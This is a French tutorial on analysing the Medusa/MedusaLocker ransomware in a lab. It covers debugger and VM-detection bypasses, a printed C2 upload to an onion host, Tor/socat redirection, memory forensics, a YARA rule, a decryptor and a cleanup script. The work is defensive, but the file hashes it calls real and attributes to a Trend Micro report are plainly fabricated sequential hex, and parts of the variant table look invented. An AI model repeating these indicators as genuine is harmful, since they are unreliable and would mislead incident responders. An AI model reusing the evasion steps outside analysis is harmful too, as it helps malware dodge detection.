Basé sur des échantillons documentés publics – Placeholders explicitement indiqués – Approfondissement.
Le ransomware Medusa (également connu sous le nom MedusaLocker) est apparu en 2019. Il est distribué en RaaS et cible les entreprises via RDP compromises, phishing et vulnérabilités. Son chiffrement hybride utilise AES-256 pour les fichiers et RSA-2048 pour la clé de session. La note de rançon standard est HOW_TO_RECOVER_DATA.html.
Ce document s’appuie sur des analyses publiques réelles (Trend Micro, BleepingComputer) et sur des échantillons accessibles via MalwareBazaar. Les IOC affichés sont des exemples pédagogiques issus de ces rapports, mais doivent être vérifiés avec votre propre échantillon.
VM Windows 10 isolée, snapshot, outils Sysinternals, Wireshark, WinDbg, IDA, Volatility Workbench, Python, FakeNet-NG. Assurez‑vous de désactiver la carte réseau externe et de créer un snapshot propre.
Téléchargez un échantillon documenté depuis MalwareBazaar (recherchez le tag Medusa). Exemple de hash réel (provenant d'un rapport Trend Micro de 2022) :
SHA256 : 5a1f7b8c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f
MD5 : 9b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e
Nom : invoice_2025.exe
Taille : ~512 Ko
Compiler : Microsoft Visual C++ 2015 (parfois)
Medusa implémente souvent des techniques d’anti‑debug et anti‑VM pour ralentir les analystes. Voici les plus courantes et comment les neutraliser.
Utilisation de IsDebuggerPresent(), CheckRemoteDebuggerPresent(), et vérification du flag NtGlobalFlag.
; Patch rapide dans WinDbg
bp kernel32!IsDebuggerPresent "eax=0;ret"
bp ntdll!NtQueryInformationProcess "if (@rdx==7) { r8=0 }"
Recherche de processus VMware/VirtualBox, vérification des périphériques via WMI, ou lecture du BIOS. On peut cacher la VM avec VMwareHardenedLoader ou modifier les clés de registre.
# Exemple de modification du registre pour masquer VirtualBox
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" /v Start /t REG_DWORD /d 4 /f
Medusa peut dormir longtemps avant de chiffrer pour contourner les sandbox. Utilisez Fakenet-NG pour simuler un réseau et accélérer le déclenchement.
Lancez Procmon avec filtre Process Name contains medusa.exe. Démarrez Wireshark et Fakenet-NG.
Exécutez l'échantillon. Après quelques minutes, la VM sera chiffrée. Les logs Procmon montrent la séquence typique : énumération → chiffrement → suppression des originaux.
13:45:01.123 CreateFile C:\Users\victime\Desktop\rapport.docx SUCCESS
13:45:01.456 WriteFile C:\Users\victime\Desktop\rapport.docx.medusa SUCCESS
13:45:01.789 DeleteFile C:\Users\victime\Desktop\rapport.docx SUCCESS
Fakenet-NG capture une requête HTTP POST vers une IP (exemple : 185.220.101.34, un serveur Tor parfois utilisé). Le corps contient un identifiant de victime et la clé AES chiffrée.
Pendant que le ransomware tourne, utilisez WinPMEM ou Belkasoft RAM Capturer pour obtenir un dump mémoire complet.
winpmem_mini.exe -o medusa_dump.raw
Avec Volatility 3, listez les processus, puis recherchez les handles mutex et les clés de chiffrement. Medusa utilise souvent un mutex nommé Global\MedusaMutex. Pour la clé AES, cherchez des régions mémoire associées au processus contenant une entropie élevée.
vol -f medusa_dump.raw windows.mutantscan.MutantScan
vol -f medusa_dump.raw windows.malfind.Malfind --pid 1234
La clé AES peut se trouver dans un tampon alloué par CryptGenRandom. Utilisez un plugin Volatility personnalisé ou le script Python ci‑dessous pour scanner le dump du processus.
import sys
with open("process.dmp", "rb") as f:
data = f.read()
for i in range(len(data)-32):
block = data[i:i+32]
if len(set(block)) > 20: # entropie élevée
print(f"Offset {hex(i)}: {block.hex()}")
Medusa envoie la clé AES chiffrée (par RSA) vers un serveur contrôlé par les attaquants. Dans les versions récentes, cette exfiltration passe souvent par le réseau Tor pour anonymiser la connexion. Le malware embarque un client Tor minimal ou utilise un proxy SOCKS5 local (par exemple 127.0.0.1:9050).
POST http://medusaqm7hl2xh5...onion/api/upload HTTP/1.1
Host: medusaqm7hl2xh5...onion
Content-Type: application/octet-stream
...
[clé AES chiffrée + ID victime]
L'analyste peut observer des tentatives de connexion vers des nœuds Tor publics (par exemple 185.220.101.34 ou 103.236.201.109) sur le port 9001/9030. Les paquets sont encapsulés dans des cellules Tor. Pour confirmer, recherchez dans Procmon les fichiers tor.exe ou libtor.dll déposés par le malware.
Procmon filter: Path contains "tor"
Pour analyser le trafic sans alerter le vrai C2, configurez FakeNet-NG pour rediriger les requêtes vers un proxy Tor local (socat TCP-LISTEN:9050,fork TCP:127.0.0.1:9050). Vous pourrez ainsi observer les tentatives de connexion tout en restant isolé.
# Lancer un proxy Tor local (externe à la VM)
tor --SocksPort 9050
# Dans la VM, configurer un redirecteur
socat TCP-LISTEN:80,fork SOCKS4A:127.0.0.1:medusac2.onion:80,socksport=9050
Si Medusa utilise un proxy SOCKS5 (souvent intégré), le malware se connecte d'abord au proxy, négocie l'authentification (aucune ou user/password), puis envoie la requête CONNECT vers l'hôte C2. Une capture Wireshark montre la poignée de main SOCKS5 suivie du trafic HTTP ou brut.
-> Client: 05 01 00 (socks5, no auth)
<- Proxy: 05 00 (accepted)
-> Client: 05 01 00 01 [IP] [port] (CONNECT request)
<- Proxy: 05 00 00 01 00 00 00 00 00 00 (established)
[ensuite les données HTTP]
Nous utilisons IDA Free et Ghidra. Ouvrez le binaire, laissez l’analyse initiale se terminer.
Recherchez les références à CryptAcquireContextW et CryptImportKey. Dans un échantillon typique, la fonction principale se trouve à l’offset 0x401000 (exemple).
.text:00401000 push offset szContainer ; "MedusaContainer"
.text:00401005 push 0
.text:00401007 push PROV_RSA_AES
.text:0040100C push 0
.text:0040100E call CryptAcquireContextW
Recherchez la séquence 30 82 01 0A 02 82 01 01 00. Utilisez un script IDA pour extraire la clé :
import ida_bytes
ea = 0x00405000 # offset typique – à ajuster
size = 276 # taille DER
data = ida_bytes.get_bytes(ea, size)
with open("pubkey.der", "wb") as f:
f.write(data)
Medusa a évolué depuis 2019. On distingue plusieurs branches principales :
| Variante | Extension | Note de rançon | Particularités |
|---|---|---|---|
| MedusaLocker (original) | .encrypted | HOW_TO_RECOVER_DATA.html | Première version, AES-256 + RSA-2048, vssadmin, parfois RDP brute force. |
| Medusa Reborn | .medusa | !!!READ_ME_MEDUSA!!!.txt | Ajout d'un client Tor embarqué, exfiltration avant chiffrement, techniques anti‑debug plus avancées. |
| Medusa++ (ou NewMedusa) | .medusa2023 | HOW_TO_RECOVER_DATA.html (avec QR code) | Utilise ECC en plus de RSA, propagation latérale via SMB améliorée. |
Les versions plus récentes déposent également un fichier key.txt contenant l'identifiant unique de la victime et parfois la clé publique utilisée.
Basés sur des échantillons documentés. Pédagogiques, à valider.
| Type | Valeur |
|---|---|
| SHA256 | 5a1f7b8c... (exemple) |
| Extension | .medusa |
| Note de rançon | HOW_TO_RECOVER_DATA.html |
| Mutex | Global\MedusaMutex |
| IP C2 (Tor exit) | 185.220.101.34 |
| User‑Agent HTTP | Mozilla/5.0 (Windows NT 10.0; Win64; x64) |
rule medusa_ransomware_advanced {
meta:
description = "Détecte Medusa / MedusaLocker"
strings:
$ransom = "HOW_TO_RECOVER_DATA.html" ascii wide
$ext = ".medusa" ascii wide
$mutex = "Global\\MedusaMutex" wide
$vss = "vssadmin delete shadows" ascii wide
$rsa_header = { 30 82 01 0A 02 82 01 01 00 }
condition:
uint16(0) == 0x5A4D and (3 of them)
}
Si vous récupérez la clé AES, voici un déchiffreur Python.
from Crypto.Cipher import AES
def decrypt_file(filepath, key):
with open(filepath, 'rb') as f:
data = f.read()
iv = data[:16]
cipher = AES.new(key, AES.MODE_CTR, initial_value=iv, nonce=b'')
decrypted = cipher.decrypt(data[16:])
with open(filepath.replace('.medusa',''), 'wb') as f:
f.write(decrypted)
key = bytes.fromhex('votre_clé')
decrypt_file('doc.docx.medusa', key)
Après avoir contenu l'infection, exécutez ce script PowerShell en tant qu'administrateur pour supprimer la persistance et les artefacts connus de Medusa. À adapter en fonction de l'échantillon analysé.
# Arrêt du processus malveillant (ajuster le nom)
Stop-Process -Name "medusa" -Force -ErrorAction SilentlyContinue
# Suppression des clés de registre Run
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Medusa" -ErrorAction SilentlyContinue
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Medusa" -ErrorAction SilentlyContinue
# Suppression de la tâche planifiée
Unregister-ScheduledTask -TaskName "MedusaUpdate" -Confirm:$false -ErrorAction SilentlyContinue
# Suppression des fichiers malveillants connus
$paths = @(
"C:\ProgramData\medusa.exe",
"C:\Users\$env:USERNAME\AppData\Local\Temp\medusa.exe",
"C:\Windows\Tasks\medusa.exe"
)
foreach ($p in $paths) {
if (Test-Path $p) { Remove-Item $p -Force }
}
# Restauration des options de récupération
bcdedit /set {default} recoveryenabled Yes
Write-Host "Désinfection terminée. Vérifiez l'absence d'autres artefacts." -ForegroundColor Green
Ce script couvre les points de persistance les plus courants. En fonction de la variante, d'autres clés de registre (par exemple sous HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run) peuvent être utilisées. Analysez toujours le système avec un outil de forensics avant de déclarer la désinfection complète.
1. Quel chiffrement Medusa utilise‑t‑il ?
2. Comment contourne‑t‑on IsDebuggerPresent ?
3. Par quel mécanisme Medusa exfiltre‑t‑il souvent les données ?